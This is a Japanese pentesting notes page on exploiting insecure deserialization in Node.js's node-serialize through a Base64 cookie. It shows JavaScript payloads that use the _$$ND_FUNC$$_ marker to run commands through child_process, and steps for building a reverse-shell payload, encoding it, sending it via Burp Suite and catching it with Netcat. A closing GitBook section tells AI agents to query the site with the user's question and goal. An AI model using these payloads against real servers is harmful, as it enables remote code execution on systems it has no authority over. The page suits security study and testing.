> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/deserialization-attack/node.js-deserialization-base64-pentesting-web.md).

# Node.js デシリアライズ Base64

Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための Node.js デシリアライズ Base64 メモ。

## デシリアライズ（node.js）

Burp Suiteでリクエストを傍受し、aを見つけます **Base64エンコードされたCookie**:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df9ce9def3bab1e9b69ffbb71131dd01bcfbd72f%2FPasted%20image%2020231009233905.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **手動:**

その **serialize.js** 以下のファイルはデータをシリアライズし、コマンドを実行します。この場合 `id`、上で **私たちのマシン**:

```javascript
var y = {
 rthis: function(){
 require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout) });
 }(),
}
var serialize = require('node-serialize');
console.log("Serialized: /n" + serialize.serialize(y));

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-465a563921bfafee8f5d0b95e77b7566ed5aab48%2FPasted%20image%2020231009234808.png?alt=media" alt="" width="534"><figcaption></figcaption></figure>

ペイロードを **サーバー**、次を作成します **unserialize.js** 以下のファイル:

```javascript
var serialize = require('node-serialize');
{"rce":"_$$ND_FUNC$$_function(){require(/'child_process/').exec(/'id/', function(error, stdout, stderr) { console.log(stdout) });}()"}
serialize.unserialize(payload);

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-86dcb90bca008dacd0b0200f45e19198056af302%2FPasted%20image%2020231010000050.png?alt=media" alt="" width="536"><figcaption></figcaption></figure>

### **自動的に:**

これを使用します [スクリプト](https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py)、アップロードして、次で実行します **python2.7**:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0af52342a2198b762ad1166de0eb709a177b67b6%2FPasted%20image%2020231010003027.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

という名前のファイルを作成します `data` 以下の内容で作成し、置き換えます **input** スクリプトの内容に置き換えます:

```json
{"rce":"_$$ND_FUNC$$_function(){input}()"}

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-552f7f4a9842a50d153f36a0eaa04f786dfa02ef%2FPasted%20image%2020231010001248.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

最後に、このファイルを次に変換します **Base64**:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a29d2e439aab10647b4b4c2b4af6e32adb45975%2FPasted%20image%2020231010001418.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Burp Suiteに内容を貼り付けます:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ee502c855821d48ed9d2bcfb4d270c0e3a8823c%2FPasted%20image%2020231010003559.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

次の **Netcat**、待ち受けてアクセスを取得します:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69b4a05e65a4b9f1f7c234f849a754913f8b10a0%2FPasted%20image%2020231010003726.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/deserialization-attack/node.js-deserialization-base64-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
